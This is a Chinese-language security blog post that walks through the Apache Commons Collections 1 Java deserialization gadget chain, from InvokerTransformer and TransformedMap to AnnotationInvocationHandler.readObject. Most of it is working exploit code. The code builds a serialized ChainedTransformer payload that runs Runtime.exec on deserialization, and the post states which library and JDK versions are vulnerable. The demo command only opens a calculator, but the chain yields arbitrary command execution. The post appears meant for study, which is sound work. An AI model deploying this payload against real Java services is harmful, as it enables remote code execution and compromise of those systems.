Java安全-5CommonsCollections 1(Transformed)链分析

CC1 链分析

背景

Apache Commons为Apache软件基金会的一个项目,Commons的目的为提供可重用,解决实际通用问题的代码

Commons Collections为Java标准的Collection进行了补充,以此为基础,对数据结构操作进行了封装,抽象和补充

链子分析

在链式命令执行的学习中,学习了利用InvokerTransformer实现任意命令执行,其POC为

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer calc = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        calc.transform(Runtime.getRuntime());
    }
}

这里成功实现任意命令调用,因此下一步需要找到哪个方法实现了InvokerTransformer()方法

跟进InvokerTransformer方法,右键查看方法

image-20240418114846259

image-20240418125125750

这里可以发现共有20来处方法,大致进行扫描一下,选择要求为:能够实现序列化,参数类型广泛,方法名不是transform()(无法跳到其他类中)

这里发现transformedMap()类存在三处对transform进行调用

image-20240418130006893

进入其中的checkSetValue方法,代码如下

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

这里调用了valueTransformer下的transform

查找该类的构造函数,代码如下

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

首先,其修饰类型为procted方法,接受一个Map类型的参数,然后将key和value进行赋值,在本类中继续进行加工处理

由于修饰类型限制,还需要找到一个方法对该构造函数进行调用

image-20240418132810334

发现存在decorate()方法对其进行调用,具体代码为:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

根据以上分析,编写调用链

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

public class CC1 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer calc = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
        TransformedMap.decorate(map,null,calc);//通过TransformedMap的decorate方法调用构造函数。等效于calc.transform(value)(value后续进行控制)

    }
}

这一步编写完成后,若transform中的value为Runtime.getRuntime(),即等同于了这篇文章最初的POC,因此下一步寻找的就是如何控制这个value

查看何处调用checkSetValue方法

image-20240418134306895

发现在AbstractInputCheckedMapDecorator的子类MapEntry下的setValue方法进行调用,(AbstractInputCheckedMapDecorator 也是 TransformedMap 的父类)

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

关于MapEntry的说明:Map的作用为存放键值对,在HashMap中一对k-v存在在HashMap$Node中。在Node下又实现了Entry接口,所以可以粗略认为k-v存放在Entry中。在遍历Map时,可以通过entrySet方法获得一对一对的k-v(Map.Entry类型),因此通过setValue()传入Runtime.getRunrime()就可以弹计算器

通常遍历数组的写法为:

for(Map.Entry entry:map.entrySet()){
            entry.getValue();
        }

因此,这里在遍历数组时进行调用setValue,就能成功将以上链子给成功串联起来,传入Runtime.getRuntime

整体代码为:

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {

        InvokerTransformer calc = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
        map.put("key","value");
        Map<Object,Object> transformaedMap = TransformedMap.decorate(map,null,calc);//通过TransformedMap的decorate方法调用构造函数。等效于calc.transform(value)(value后续进行控制)

        for(Map.Entry entry:transformaedMap.entrySet()){
            entry.setValue(Runtime.getRuntime());
        }
    }
}

效果如图:

image-20240418144226694

因此这里总结理清下一步思路:需要找到一个遍历数组的地方,并且调用了setValue方法,那么就可以达到任意命令执行

继续寻找哪里调用了setValue()方法

这里直接找到一个在reandObject()方法下调用了setValue方法

image-20240418145736994

整体代码如下:

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(                                //调用setValue
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

在最后遍历map时候成功调用setValue方法

首先这个类的名字为:AnnotationInvocationHandler,是一个动态代理过程中的处理器类,其构造函数为:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }

接受一个名为Type的Class对象(Annotion为注解,例如重写时的@overide),和一个Map类型的memberValues,可以被控制(实例化传入),这里没有写修饰符,默认为default,只能在对应包下调用,因此这里也需要使用反射进行调用,具体代码如下:

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取类
        Constructor<?> annotationInvocationhdl = c.getConstructor(Class.class,Map.class);//反射获取构造器,根据构造器填入对应参数
        annotationInvocationhdl.setAccessible(true);//设置为可以访问
        Object forMap = annotationInvocationhdl.newInstance(Override.class,transformaedMap);//实例化完成

但这里还没有传入getRuntime()方法,且Runtime本身并没有继承java.io.Serializable,因此无法直接进行反序列化,但是Class可以进行反序列化,所以还需要依靠反射完成反序列化

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);//无参调用
Runtime r = getRuntimeMethod.invoke(null,null);//静态调用,无参,因此两个null

改写成为InvokerTransformer形式:

Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Rumtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[null,null]).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}.transform(r));

这里后一个调用前一个,因此可以利用在链式命令执行中的ChainedTransformer,具体写法如下:

Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
//进行调用,只需要传入第一次调用时的参数
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

image-20240418164415243

成功执行

证明ChaniedTransformer构造成功,删除或注释掉chainedTransformer.transform(Runtime.class);这里传入的Runtime.getRumtime对象

恢复之前写的反射调用annotation.AnnotationInvocationHandler,并执行序列化和反序列化

整体代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
//进行调用,只需要传入第一次调用时的参数
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
        map.put("key","value");
        Map<Object,Object> transformaedMap = TransformedMap.decorate(map,null,chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取类
        Constructor<?> annotationInvocationhdl = c.getDeclaredConstructor(Class.class,Map.class);//反射获取构造器,根据构造器填入对应参数
        annotationInvocationhdl.setAccessible(true);//设置为可以访问
        Object forMap = annotationInvocationhdl.newInstance(Override.class,transformaedMap);//实例化完成

        Serialize.serialize(forMap);
        Unserialize.unserialize("ser.bin");

    }
}

Serialize.java:

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Serialize {
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./ser.bin"));
        oos.writeObject(object);

    }
}

Unserialize.java

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserialize {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

再次运行代码,发现无法达到命令执行的效果(无法弹出计算器)运行截图:

image-20240418183227323

判断无法执行的原因:

  1. AnnotationInvocationHandler下的Map遍历调用setValue()方法的过程中,存在if判断,if判断没过,无法进入

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
               String name = memberValue.getKey();
               Class<?> memberType = memberTypes.get(name);
               if (memberType != null) {  // i.e. member still exists
                   Object value = memberValue.getValue();
                   if (!(memberType.isInstance(value) ||
                         value instanceof ExceptionProxy)) {
                       memberValue.setValue(
                           new AnnotationTypeMismatchExceptionProxy(
                               value.getClass() + "[" + value + "]").setMember(
                                   annotationType.members().get(name)));
                   }
               }
           }
  2. setValue出现问题,setValue并不是直接传入Rumtime对象

在第一个if处打上断点,进入调试

image-20240418192316072

这里首先获取Type,然后获取Type的成员方法,因此这里需要传一个有成员方法的class,所创建的数组的key为该成员方法的名字

第一个if为:若该键名与注解示例的某个方法名相同,则获取该键名的值

第二个if为:若注解示例防火阀的返回类型不是键名对应的值时ExceptionProxy的实例,则修改键名对应的值

因此需要首先利用一个存在方法的注解,可以找到一个Target,存在一个方法

image-20240418220041245

调试会发现

image-20240418215225465

这里将key获取到,然后再注解中寻找key这个参数,但是注解中并不存在,因此这里无法为true,因此这里需要在最开始想map中出入数据时,将键的值改为value

此时的代码为:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
//进行调用,只需要传入第一次调用时的参数
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
        map.put("value","value");
        Map<Object,Object> transformaedMap = TransformedMap.decorate(map,null,chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取类
        Constructor<?> annotationInvocationhdl = c.getDeclaredConstructor(Class.class,Map.class);//反射获取构造器,根据构造器填入对应参数
        annotationInvocationhdl.setAccessible(true);//设置为可以访问
        Object forMap = annotationInvocationhdl.newInstance(Target.class,transformaedMap);//实例化完成

        Serialize.serialize(forMap);
        Unserialize.unserialize("ser.bin");

    }
}

image-20240418215557174

此时再进行调试,发现成功进入第一个if

image-20240418215825586

第二个if判断二者是否能够进行强制转化,这里无法进入也能够成功进入

继续调试,步入setValue,后再跟进找到

image-20240418220838530

这里的

valueTransformer.transform(value)

和之前写的

ChainedTransformer。transform(Runtime.class)

二者等效,因此只需要将这里的value改为Runtime.class即可完成链子的最后一点

根据链式命令执行学习,这里只需要在ChainedTransformer中的最开始补上ConstantTransformer就可以实现(将输入对象转换为预先指定的常量值。由创建时通过构造器进行传入)将返回的常量设置为Runtime.class

调试发现这里成功变为RUNTIME

image-20240418221801519

此时再进行执行,成功弹出计算器!

image-20240418221544191

附上完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        //进行调用,只需要传入第一次调用时的参数
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object,Object> map = new HashMap<>();//新建一个HashMaP
        map.put("value","value");
        Map<Object,Object> transformaedMap = TransformedMap.decorate(map,null,chainedTransformer);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取类
        Constructor<?> annotationInvocationhdl = c.getDeclaredConstructor(Class.class,Map.class);//反射获取构造器,根据构造器填入对应参数
        annotationInvocationhdl.setAccessible(true);//设置为可以访问
        Object forMap = annotationInvocationhdl.newInstance(Target.class,transformaedMap);//实例化完成

        Serialize.serialize(forMap);
        Unserialize.unserialize("ser.bin");

    }
}

利用条件:

Commons-Collections <= 3.2.1,
jdk<8u71

过程总结

首先将Transformer接口的视线类InvokerTransformer作为执行类,其中的transform()方法通过反射获取传入对象的方法,若为public,则进行调用,其中的对象,方法名,参数类型,参数都类型广泛,完全可控。因此可以调用任意对象的任意方法。

然后利用TransformedMap下的checkSetvalue方法嗲用transform,而 checkSetvalue()会在 AbstractInputCheckedMapDecorator 的静态内部类 MapEntry 的 setValue()中调用TransformedMap 继承自 AbstractInputCheckedMapDecorator,所以前面通过遍历 TransformedMap 得到 Map.Entry 再调用 setValue()就会弹计算器。在 AnnotationInvocationHandler 的 readObject()方法中若满足一定条件会调用 setValue() 方法。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇